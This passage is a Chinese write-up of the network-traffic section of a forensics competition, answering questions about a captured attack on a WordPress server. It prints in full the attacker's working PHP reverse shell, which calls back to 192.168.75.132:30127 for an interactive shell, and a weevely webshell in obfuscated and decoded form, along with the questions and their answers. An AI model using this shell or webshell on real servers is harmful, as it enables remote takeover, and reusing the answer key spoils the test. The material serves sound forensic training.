分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?(答案格式:abc.txt) (4分)

服务器漏洞从攻击机上下载的 payload,说明是131向132发送GET请求,即可定位

image-20241205085945428

追踪流可以查看木马文件

image-20241205085836187

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

rev.txt

分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234) (4分)

追踪流里有

192.168.75.132:30127

分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1) (2分)

追踪流里有

3.11.8

分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp) (2分)

上传webshell,下一步肯定是执行命令,往下翻,在下一个3268流里有相关信息,即在服务器执行的命令记录

image-20241205090524630

wordpress

分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写) (4分)

同个流里有——mysql数据库

image-20241205090612956

sWfCsfJSPV9H3AmQzw8

分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306) (2分)

同个流里有

image-20241205090850177

2000

分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写) (4分)

要知道木马第一次执行时获取到的缓冲区内容,就需要先找到木马文件

流3269

image-20241205091156224

weevely 木马文件内容

具体解析过程参考:weevely的webshell分析以及冰蝎/蚁剑免杀-PHP版_两重明文混淆webshell-CSDN博客

<?php
$q='uv1o2g6mkn7y";fv1unctiv1ov1n x(v1$t,$k){$c=v1strlen(v1$k)v1;v1$l=strlenv1($t);$o';
$k='tents(v1"php://iv1nput"),$v1mv1)==1) {@ov1b_start();v1@ev1val(@v1gzuncomv1press(@x(@';
$A='$k="c6v1ae1ev170";$khv1="cbbf9v1691e009";v1$v1kv1f="85a8v19e92c410";$p="dv1zINv1Rg';
$o='="v1";forv1($i=0;$v1iv1v1<$l;){fv1v1or($j=0;($j<$c&&$i<$lv1);$j++,$i++)v1{v1$o.=v1$t{$i}^';
$D=str_replace('cM','','cMcreacMte_cMfcMunccMcMtion');
$Q='$k{$j}v1v1;}}return v1$o;v1}if (@pregv1_v1match("/v1$kh(.+)v1v1$kf/",@v1fv1ile_get_cov1n';
$Z='leanv1();$r=@base6v14_ev1ncv1ode(v1@x(@gzcov1mpress($ov1),$v1kv1));printv1("$p$kh$r$kf");}';
$w='v1basev164_decodev1($mv1[v11]),$v1k)));$o=@ov1b_get_contev1nts(v1v1);@ob_env1d_c';
$S=str_replace('v1','',$A.$q.$o.$Q.$k.$w.$Z);
$C=$D('',$S);$C();
?>

代码混淆了,要反混淆一下,直接投喂AI(YYDS)

值和代码有点问题,需要手动修改

image-20241205093454661

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
    if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
    $o=@ob_get_contents();
    @ob_end_clean();
    $r=@base64_encode(@x(@gzcompress($o),$k));
    print("$p$kh$r$kf");
    }
?>

流3274找相关的值,传输的请求和返回都在cbbf9691e009和85a89e92c410之间

[img

第一个命令是echo(57638),写一个解密脚本

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
$msg = "G6pSUAZWgTBjNUtkPw==";
echo(@gzuncompress(@x(@base64_decode($msg),$k)));
?>

57638

总结

这次数证杯包括计算机,服务器,手机,apk,exe,流量,数据分析,u盘这八个部分。个人认为难点在java服务器的环境调试和网站重构,apk和exe的逆向,以及数据分析这块。当然和我个人能力有关系,逆向知识面几乎为0,服务器见过的环境烨比较少,而且也对大数据分析不太感冒,另外还有vc的挂载还需学习。复盘了这次比赛,学到的知识还是很多的。数证杯初赛难度比较大,也说明这给比赛质量很高,后面继续复盘决赛的个人和团队,继续加油!

posted @ 2024-12-12 19:30  yanke_wolf  阅读(4205)  评论(0)    收藏  举报